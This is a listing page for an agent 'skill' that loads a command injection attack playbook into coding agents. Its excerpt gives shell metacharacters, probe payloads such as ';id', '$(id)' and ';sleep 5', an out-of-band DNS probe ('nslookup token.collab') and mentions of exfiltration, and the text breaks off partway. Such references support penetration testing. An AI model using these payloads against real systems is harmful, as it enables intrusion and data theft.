Agent skill · security · yaklang
cmdi-command-injection
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
Why this skill is useful
Adds a comprehensive playbook with executable command injection techniques and real-world code patterns that are not widely known.
What it needs
About 11k tokens when loaded. Last updated 2026-06-16. 1,563 stars on the source repository.
What this skill does
SKILL: OS Command Injection — Expert Attack Playbook AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors. 0. RELATED ROUTING Before going deep, you can first load: upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow First-pass payload families Context Start With Backup --- --- --- generic shell separator ;id &&id quoted argument ";id;" ';id;' blind timing ;sleep 5 & timeout /T 5 /NOBREAK command substitution $(id) id out-of-band DNS ;nslookup token.collab Windows nslookup variant --- 1. SHELL METACHARACTERS (INJECTION OPERATORS) These characters break out of the command context and inject new commands: Metacharacter Behavior Example --- --- --- ; Runs second command regardless dir; whoami \ Pipes stdout to second command dir \ whoami \ \ Run second only if first FAILS dir \ \ whoami & Run second in background (or sequenced in Windows) dir & whoami && Run second only if first SUCCEEDS dir && whoami $(cmd) Command substitution echo $(whoami) cmd Command substitution (backtick) echo whoami > Redirect stdout to file cmd > /tmp/out >> Append to file cmd >> /tmp/out < Read file as stdin cmd < /etc/passwd %0a Newline character (URL-encoded) cmd%0awhoami %0d%0a CRLF Multi-command injection --- 2. COMMON VULNERABLE CODE PATTERNS PHP Python Node.js Perl ASP (Classic) --- 3. BLIND COMMAND INJECTION — DETECTION When response shows no command output: Time-Based Detection Compare response time without payload vs with payload. 5+ second delay = confirmed. OOB via DNS OOB via HTTP OOB via Out-of-Band File --- 4. INJECTION CONTEXT VARIATIONS Within Quoted String Within Single-Quoted String Within Backtick Execution File Path Context --- 5. …
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
@skills yaklang/cmdi-command-injection